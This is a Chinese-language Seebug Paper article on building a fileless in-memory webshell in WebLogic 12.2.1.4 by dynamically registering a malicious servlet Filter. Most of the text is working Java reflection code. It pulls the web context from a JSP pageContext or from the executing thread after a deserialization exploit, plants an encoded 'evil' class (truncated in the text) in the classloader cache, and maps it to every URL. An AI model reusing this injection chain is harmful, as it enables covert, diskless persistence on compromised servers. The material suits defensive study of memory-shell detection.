做者:寬字節安全
原文連接:https://mp.weixin.qq.com/s/euYuuI78oJhUHt9dVkomKA
本文爲做者投稿,Seebug Paper 期待你的分享,凡經採用即有禮品相送!
投稿郵箱:paper@seebug.org
java
上篇文章中着重研究了tomcat的內存馬以及實現方法。這篇文章主要研究了weblogic的內存馬實現原理。在這裏實現的原理與tomcat基本相同,一樣使用動態註冊Filter 的方式。下面分析一下weblogic在請求中是如何獲取FilterChain。web
如下分析基於 weblogic 12.2.1.4shell
0x01 weblogic FilterChain實現
建立一個Filter,隨便打一個斷點,觀察此時的堆棧信息,如圖緩存
經過跟蹤堆棧信息,咱們能夠找到,在wrapRun函數中,會判斷系統中是否存在filter以及listener。若是存在,則獲取FilterChain,而後依次調用Filter。原理與tomcat相似。相關代碼以下tomcat
weblogic.servlet.internal.WebAppServletContext.ServletInvocationAction#wrapRun 函數 if (!invocationContext.hasFilters() && !invocationContext.hasRequestListeners()) { this.stub.execute(this.req, this.rsp); } else { FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp); if (fc == null) { this.stub.execute(this.req, this.rsp); } else { fc.doFilter(this.req, this.rsp); } }
而getFilterChain的代碼在 weblogic.servlet.internal.FilterManager中。weblogic中主要使用FilterManager去管理系統中的Filter,包括動態註冊一個Filter,獲取FilterChain等。動態註冊一個Filter的代碼以下安全
void registerFilter(String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers) throws DeploymentException { FilterWrapper fw = new FilterWrapper(filterName, filterClassName, initParams, this.context); if (this.loadFilter(fw)) { EnumSet<DispatcherType> types = FilterManager.FilterInfo.translateDispatcherType(dispatchers, this.context, filterName); if (urlPatterns != null) { this.addMappingForUrlPatterns(filterName, types, true, urlPatterns); } if (servletNames != null) { this.addMappingForServletNames(filterName, types, true, servletNames); } this.filters.put(filterName, fw); } }
0x02 內存馬實現
技術難點主要有如下幾點:app
- 怎麼尋找FilterManager
- weblogic中類加載器機制
1. 尋找FilterManager
weblogic中,context會存放FilterManager。因此,這個問題轉換爲如何獲取context。有兩種方法jsp
pageContext
jsp頁面中的pageContext對象中,存有context對象。能夠經過反射獲取。這種比較適合直接上傳jsp文件獲取webshell權限的狀況。代碼以下函數
Field contextF = pageContext.getClass().getDeclaredField("context"); contextF.setAccessible(true); Object context = contextF.get(pageContext);
線程中
這種狀況比較適合shiro,T3等反序列化漏洞,在沒法上傳文件,可是能夠直接經過反序列化獲取weblogic權限的狀況。這種狀況下不須要pageContext對象,在線程中查找context對象。代碼以下this
Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread"); Method m = executeThread.getDeclaredMethod("getCurrentWork"); Object currentWork = m.invoke(Thread.currentThread()); Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler"); connectionHandlerF.setAccessible(true); Object obj = connectionHandlerF.get(currentWork); Field requestF = obj.getClass().getDeclaredField("request"); requestF.setAccessible(true); obj = requestF.get(obj); Field contextF = obj.getClass().getDeclaredField("context"); contextF.setAccessible(true); Object context = contextF.get(obj);
2. FilterWrapper中類加載器機制
這裏只針對於加載Filter的狀況去討論。在FilterManager的registerFilter方法中,主要經過FilterWrapper類去包裝Filter類。可是FilterWrapper類的構造函數中,並無能夠傳遞Class的參數,只能夠傳遞ClassName,FilterManager經過ClassName去查找Class。下面咱們分析一下實現過程
在FilterManager的loadFilter中,Filter將會在這裏實例化。代碼以下
weblogic.servlet.internal.FilterManager#loadFilter boolean loadFilter(FilterWrapper filterWrapper) { String filterClassName = filterWrapper.getFilterClassName(); filter = (Filter)this.context.createInstance(filterClassName); filterWrapper.setFilter((String)null, (Class)null, filter, false); }
在filterWrapper.getFilterClassName中獲取FilterClass的名稱,而後經過context的createInstance方法去實例化。下面是createInstance的代碼
Object createInstance(String className) throws ClassNotFoundException, InstantiationException, IllegalAccessException { Class<?> clazz = this.classLoader.loadClass(className); return this.createInstance(clazz); }
在這裏經過調用classloader的loadClass方法去根據名稱查找Class。咱們知道weblogic自定義了一個classloader,因此咱們繼續深刻loadCLass方法,代碼以下
weblogic.utils.classloaders.ChangeAwareClassLoader#loadClass(java.lang.String, boolean) protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { synchronized(this.getClassLoadingLock(name)) { Class res = (Class)this.cachedClasses.get(name); if (res != null) { return res; } else if (!this.childFirst) { return super.loadClass(name, resolve);
咱們能夠看出,ChangeAwareClassLoader會首先從cache中查找是否存在待查找的類,若是存在,則直接返回該名稱對應的Class。
因此咱們爲了使本身待動態加載的Filter能夠被FilterManager成功查找,最簡單的方法是在這個緩存中動手腳。代碼以下
/* 第一步,將evilClass加載到classloader的cachedClasses中 */ Field classLoaderF = context.getClass().getDeclaredField("classLoader"); classLoaderF.setAccessible(true); ClassLoader cl = (ClassLoader) classLoaderF.get(context); Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses"); cachedClassesF.setAccessible(true); Object cachedClass = cachedClassesF.get(cl); Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class); if (getM.invoke(cachedClass, "bingxie") == null) { // 判斷一下,防止屢次加載惡意filter, 默認只加載一次,不須要重複加載 BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder(); String codeClass = "H4sIAAAAAAAAAKV.........."; Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class evilFilterClass = (Class) defineClass.invoke(cl, uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length); // 在這裏 惡意類名稱爲 bingxie filter 名稱爲test Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class); putM.invoke(cachedClass, "bingxie", evilFilterClass);
上面兩個技術難點解決後,咱們就能夠向FilterManager中動態註冊一個Filter。代碼比較簡單,以下
Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager"); Object filterManager = getFilterManagerM.invoke(context); Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class); // String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers registerFilterM.setAccessible(true); registerFilterM.invoke(filterManager, "test", "bingxie", new String[]{"/*"}, null, null, null);
0x03 成果檢驗
檢查weblogic,無文件落地。重啓weblogic後,webshell消失
本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址:https://paper.seebug.org/1249/